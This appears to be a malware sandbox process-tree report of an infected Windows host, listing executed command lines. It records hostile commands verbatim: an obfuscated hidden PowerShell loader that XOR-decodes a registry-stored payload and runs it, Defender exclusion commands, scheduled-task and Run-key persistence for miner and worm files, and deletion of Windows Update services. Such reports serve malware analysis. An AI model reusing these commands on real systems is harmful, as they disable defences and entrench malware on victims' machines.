C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -windowstyle hidden -c "Write-Host ('dedaoL rotcartxE llehsrewoP'[-1..-27] -join '');$path = $env:rBIsWvhris;$path = $path.Trim();$path = $path.Substring(1, $path.Length - 2);Write-Host $path;$_1 = Get-Content -Path $path;$_3 = $_1 -split '\n';$_2 = $_3[-1];$_2 = [Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($_2.Replace('\n', ''));$_4 = New-Object byte[] $_2.Length;for ($_5 = 0; $_5 -lt $_4.Length; $_5++) {$_4[$_5] = $_2[$_5] -bxor 0x20;};$_4 = [System.Text.Encoding]::Unicode.GetString($_4);Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows Search' -Name 'txUVnRbZxg' -Value $_4;Remove-Item -Path $path -Force;$_4 | Invoke-Expression"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe MaybeWorking.hta3⤵
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe DetectionRateTesting.hta3⤵
-
-
C:\Windows\System32\a\Pulsar-Client.exePulsar-Client.exe3⤵
-
-
C:\Windows\System32\a\123123.exe123123.exe3⤵
-
-
C:\Windows\System32\a\conhost.execonhost.exe3⤵
-
-
-
C:\Users\Admin\AppData\Roaming\WindowsSvc.exeC:\Users\Admin\AppData\Roaming\WindowsSvc.exe1⤵
-
C:\Windows\explorer.exeexplorer.exe2⤵
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 4B9DB7E315497ECB90126E7BD296CBCE C2⤵
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI79AB.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240750718 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding D0188F51ED22B7A57D35BF9618AD3E8A C2⤵
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI79BA.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240754453 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 1F9EB65C87D358E5A6481BC51F022126 C2⤵
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI9021.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240755390 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
-
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIBB58.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240762875 8 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.CheckMsiMotw3⤵
-
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI6AE3.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240814234 15 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.CheckMsiFileName3⤵
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding F77D0F625D92C55112B85859D2A0046C C2⤵
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI50D1.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240829843 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 3AEE5C836EBBBA86844C310008793748 C2⤵
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIC3ED.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240860828 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
-
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI8AB4.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240983250 8 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.CheckMsiMotw3⤵
-
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI9035.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_241155796 15 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.CheckMsiFileName3⤵
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 7EA482CF1ADC94F6D32CE30FE16AF083 C2⤵
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIEF14.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240877781 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding D13596C51008D92157DD012F5C1F379D2⤵
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 45CDD95A97F44F650C231080A978586A C2⤵
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI7E73.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240952468 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding CDF9DD1320DE2202244B6410DA69D7EB C2⤵
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIBB92.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_241043703 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 9EA5BDCFF0C8FE5F747E11F80B93A8E82⤵
-
-
C:\Users\Admin\AppData\Local\Temp\SvcHostAnalyzer.exe"C:\Users\Admin\AppData\Local\Temp\SvcHostAnalyzer.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\a\crypted_build.exeC:\Users\Admin\AppData\Local\Temp\a\crypted_build.exe1⤵
-
C:\Windows\system32\notepad.exeC:\Windows\system32\notepad.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\WinUpdateHelper.exe"C:\Users\Admin\AppData\Local\Temp\WinUpdateHelper.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\uly6uo5t.exe"C:\Users\Admin\AppData\Local\Temp\uly6uo5t.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\gzo828cw.exe"C:\Users\Admin\AppData\Local\Temp\gzo828cw.exe"2⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 988 -ip 9881⤵
-
C:\Users\Admin\AppData\Local\Temp\EmbeddedDriverService.sysC:\Users\Admin\AppData\Local\Temp\EmbeddedDriverService.sys1⤵
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Services\winhost.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Services\winhost.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\SvcHostAnalyzer.exe"C:\Users\Admin\AppData\Local\Temp\SvcHostAnalyzer.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --disable-fre --no-default-browser-check --disable-background-networking --disable-sync --disable-gpu --mute-audio --new-window1⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0x9c,0x130,0x7ffde327c728,0x7ffde327c734,0x7ffde327c7402⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --disable-fre --no-default-browser-check --disable-background-networking --disable-sync --disable-gpu --mute-audio --new-window1⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x120,0x124,0x128,0xfc,0x12c,0x7ffde327c728,0x7ffde327c734,0x7ffde327c7402⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --disable-fre --no-default-browser-check --disable-background-networking --disable-sync --disable-gpu --mute-audio --new-window1⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ffde327c728,0x7ffde327c734,0x7ffde327c7402⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --disable-fre --no-default-browser-check --disable-background-networking --disable-sync --disable-gpu --mute-audio --new-window1⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x100,0x134,0x7ffde327c728,0x7ffde327c734,0x7ffde327c7402⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --disable-fre --no-default-browser-check --disable-background-networking --disable-sync --disable-gpu --mute-audio --new-window1⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x120,0x124,0x128,0xfc,0x12c,0x7ffde327c728,0x7ffde327c734,0x7ffde327c7402⤵
-
-
C:\Users\Admin\AppData\Local\Temp\WinUpdateHelper.exe"C:\Users\Admin\AppData\Local\Temp\WinUpdateHelper.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Windows\SysWOW64\DllHost.exeC:\Windows\SysWOW64\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}1⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --disable-fre --no-default-browser-check --disable-background-networking --disable-sync --disable-gpu --mute-audio --new-window1⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0xfc,0x130,0x7ffde327c728,0x7ffde327c734,0x7ffde327c7402⤵
-
-
C:\Program Files (x86)\CentraStage\Gui.exe"C:\Program Files (x86)\CentraStage\Gui.exe"1⤵
-
C:\Program Files (x86)\CentraStage\CagService.exe"C:\Program Files (x86)\CentraStage\CagService.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --disable-fre --no-default-browser-check --disable-background-networking --disable-sync --disable-gpu --mute-audio --new-window1⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x120,0x124,0x128,0xfc,0x12c,0x7ffde327c728,0x7ffde327c734,0x7ffde327c7402⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --disable-fre --no-default-browser-check --disable-background-networking --disable-sync --disable-gpu --mute-audio --new-window1⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x120,0x124,0x128,0xfc,0x12c,0x7ffde327c728,0x7ffde327c734,0x7ffde327c7402⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --disable-fre --no-default-browser-check --disable-background-networking --disable-sync --disable-gpu --mute-audio --new-window1⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x120,0x124,0x128,0xfc,0x12c,0x7ffde327c728,0x7ffde327c734,0x7ffde327c7402⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --disable-fre --no-default-browser-check --disable-background-networking --disable-sync --disable-gpu --mute-audio --new-window1⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x120,0x124,0x128,0xfc,0x12c,0x7ffde327c728,0x7ffde327c734,0x7ffde327c7402⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --disable-fre --no-default-browser-check --disable-background-networking --disable-sync --disable-gpu --mute-audio --new-window1⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x120,0x124,0x128,0xfc,0x12c,0x7ffde327c728,0x7ffde327c734,0x7ffde327c7402⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --disable-fre --no-default-browser-check --disable-background-networking --disable-sync --disable-gpu --mute-audio --new-window1⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0xfc,0x130,0x7ffde327c728,0x7ffde327c734,0x7ffde327c7402⤵
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe1⤵
-
C:\Users\Admin\AppData\Roaming\SubDir\updater.exeC:\Users\Admin\AppData\Roaming\SubDir\updater.exe1⤵
-
C:\Windows\System32\schtasks.exe"schtasks" /create /tn "RuntimeBroker" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\updater.exe" /rl HIGHEST /f2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Z46MdrTIUsLo.bat" "2⤵
-
-
C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE"C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE" -Embedding1⤵
-
C:\Windows\system32\SecurityHealthService.exeC:\Windows\system32\SecurityHealthService.exe1⤵
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x00000000000004E4 0x00000000000004EC1⤵
-
C:\Users\Admin\AppData\Roaming\755e15ff.exeC:\Users\Admin\AppData\Roaming\755e15ff.exe1⤵
-
C:\Windows\system32\WindowsUpdate64.exeC:\Windows\system32\WindowsUpdate64.exe1⤵
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "C:\Windows\system32\WindowsUpdate64.exe"2⤵
-
C:\Windows\System32\cmd.exe"cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"4⤵
-
-
-
C:\Users\Admin\AppData\Roaming\Axam.exe"C:\Users\Admin\AppData\Roaming\Axam.exe" "C:\Windows\system32\Microsoft\Libs\sihost64.exe"3⤵
-
-
-
C:\Windows\Media\mppr.exeC:\Windows\Media\mppr.exe1⤵
-
C:\Windows\System32\cmd.exe"cmd" /c schtasks /create /f /rl highest /tn "Launch Adobe CCXProcess" /tr "C:\Windows\Media\mppr.exe" /sc onlogon & exit2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /f /rl highest /tn "Launch Adobe CCXProcess" /tr "C:\Windows\Media\mppr.exe" /sc onlogon3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\System32\attrib.exeattrib +s +r +h C:\AUTOEXEC.BAT1⤵
- Sets file to hidden
- Views/modifies file attributes
-
C:\Users\Admin\AppData\Roaming\Axam.exeC:\Users\Admin\AppData\Roaming\Axam.exe1⤵
-
C:\755e15ff\755e15ff.exeC:\755e15ff\755e15ff.exe1⤵
-
C:\Windows\System32\attrib.exeattrib +s +r +h C:\AUTOEXEC.BAT1⤵
- Sets file to hidden
- Views/modifies file attributes
-
C:\Windows\KdzEregli.exeC:\Windows\KdzEregli.exe1⤵
-
C:\Users\Admin\AppData\Roaming\{34184A33-0407-212E-3320-09040709E2C2}.exeC:\Users\Admin\AppData\Roaming\{34184A33-0407-212E-3320-09040709E2C2}.exe1⤵
-
C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE"C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE" -Embedding1⤵
-
C:\Users\Admin\AppData\Roaming\Axam.exe"C:\Users\Admin\AppData\Roaming\Axam.exe" "C:\Windows\INF\usbhub\usbperfsym.exe"1⤵
-
C:\Windows\System32\reg.exereg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v AVAADA /t REG_SZ /d C:\Windows\Worm.bat /f1⤵
- Modifies registry key
-
C:\Windows\Media\mppr.exe"C:\Windows\Media\mppr.exe"1⤵
-
C:\Windows\System32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v AVAADA /t REG_SZ /d C:\Windows\Worm.bat /f1⤵
- Modifies registry key
-
C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exeC:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe1⤵
-
C:\Users\Admin\AppData\Roaming\Axam.exe"C:\Users\Admin\AppData\Roaming\Axam.exe" "C:\Windows\system32\cmd.exe" /c taskkill /f /im tftp.exe & tskill tftp.exe2⤵
-
-
C:\Users\Admin\AppData\Roaming\Axam.exe"C:\Users\Admin\AppData\Roaming\Axam.exe" "C:\Users\Admin\AppData\Local\Temp\tftp.exe"2⤵
-
-
C:\Users\Admin\AppData\Roaming\Axam.exe"C:\Users\Admin\AppData\Roaming\Axam.exe" "C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "" /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" /t REG_SZ2⤵
-
-
C:\Users\Admin\AppData\Roaming\Axam.exe"C:\Users\Admin\AppData\Roaming\Axam.exe" "C:\Windows\system32\cmd.exe" /c schtasks /create /tn "UAC" /SC ONLOGON /F /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"2⤵
-
-
C:\Users\Admin\AppData\Roaming\Axam.exe"C:\Users\Admin\AppData\Roaming\Axam.exe" "C:\Windows\system32\cmd.exe" /c schtasks /create /tn "UAC" /RU "SYSTEM" /SC ONLOGON /F /V1 /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"2⤵
-
-
C:\Users\Admin\AppData\Roaming\Axam.exe"C:\Users\Admin\AppData\Roaming\Axam.exe" "C:\Windows\system32\cmd.exe" /c powercfg /CHANGE -standby-timeout-ac 0 & powercfg /CHANGE -hibernate-timeout-ac 0 & Powercfg -SetAcValueIndex 381b4222-f694-41f0-9685-ff5bb260df2e 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 0002⤵
- Power Settings
-
-
C:\Windows\system32\SecurityHealthService.exeC:\Windows\system32\SecurityHealthService.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\a\WannaCry.exe"C:\Users\Admin\AppData\Local\Temp\a\WannaCry.exe" /r1⤵
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\mail.vbs"1⤵
-
C:\Windows\System32\attrib.exeattrib +s +r +h C:\AUTOEXEC.BAT1⤵
- Sets file to hidden
- Views/modifies file attributes
-
C:\Windows\InputMethod\SHARED\RC_ConnectedAccount.exeC:\Windows\InputMethod\SHARED\RC_ConnectedAccount.exe1⤵
-
C:\Windows\SysWOW64\SystemDiagnosticsHost.exeC:\Windows\SysWOW64\SystemDiagnosticsHost.exe1⤵
-
C:\Windows\System32\attrib.exeattrib +s +r +h C:\AUTOEXEC.BAT1⤵
- Sets file to hidden
- Views/modifies file attributes
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force1⤵
-
C:\Windows\System32\reg.exereg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v AVAADA /t REG_SZ /d C:\Windows\Worm.bat /f1⤵
- Modifies registry key
-
C:\ProgramData\bnv_Valid\PReflector64.exeC:\ProgramData\bnv_Valid\PReflector64.exe1⤵
-
C:\Users\Admin\AppData\Local\SignHandler.exeC:\Users\Admin\AppData\Local\SignHandler.exe2⤵
-
-
C:\Windows\System32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v AVAADA /t REG_SZ /d C:\Windows\Worm.bat /f1⤵
- Modifies registry key
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f1⤵
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 01⤵
- Power Settings
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#vpnaxct#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }1⤵
- Command and Scripting Interpreter: PowerShell
-
